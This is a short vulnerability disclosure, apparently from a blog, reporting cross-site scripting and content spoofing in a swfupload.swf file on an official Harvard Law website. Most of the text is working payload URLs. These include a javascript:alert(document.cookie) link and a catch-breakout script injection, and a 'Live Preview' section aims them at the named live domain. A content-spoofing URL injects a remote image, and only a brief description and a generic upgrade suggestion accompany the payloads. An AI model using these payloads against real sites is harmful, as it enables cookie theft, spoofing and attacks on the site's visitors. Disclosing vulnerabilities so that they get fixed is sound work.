Cross Site Scripting in Official Harvard Law Website




#Title: Cross Site Scripting in Official Harvard Law Website

Vector of operation: Remote
Impact: Cross Site Scripting & Content Spoofing


*Description:

The vulnerability is caused due to insufficient input validation in the parameter
“movieName” and "buttonText" in the script to swfupload.swf “ExternalInterface.call ()”. This can be
exploited to execute arbitrary HTML and script code in a user’s browser session in
context of an affected site.

There are two vulnerabilities in Official Harvard Law Website.

*Content Spoofing

http://[victim]/wordpress/wp-content/themes/Events/library/js/swfupload/swfupload.swf?buttonText=test<img src='http://i.imgur.com/ltp2L8N.jpg'>

It's possible to inject text, images and html (e.g. for link injection).

*Cross-Site Scripting

http://[victim]/include/SWF/swfupload.swf?movieName=<a href='javascript:alert(document.cookie)'>Click Me</a>
or
http://[victim]/include/SWF/swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert("xss");//

Code will execute after click. It's strictly social XSS.

*Proof of Concept Code

http://[victim]/wordpress/wp-content/themes/Events/library/js/swfupload/swfupload.swf?moviename=[XSS]
http://[victim]/wordpress/wp-content/themes/Events/library/js/swfupload/swfupload.swf?buttonText=test<img src='http://i.imgur.com/ltp2L8N.jpg'>

*Live Preview
http://www3.law.harvard.edu/orgs/wp-content/themes/Events/library/js/swfupload/swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert("xss");//
http://www3.law.harvard.edu/orgs/wp-content/themes/Events/library/js/swfupload/swfupload.swf?buttonText=<a href='javascript:alert(document.cookie)'>Click me</a>


*Solution:
On the server side, you can upgrade to a non-vulnerable version. Onthe client
you can use a browser that obeys the Content-Type header specified by the server, such as Mozilla Firefox, Google Chrome, Apple Safari or Opera.
Internet Explorer 8 with the XSS Filter won't execute the malicious scripts.

Postingan terkait:

Belum ada tanggapan untuk "Cross Site Scripting in Official Harvard Law Website"

Post a Comment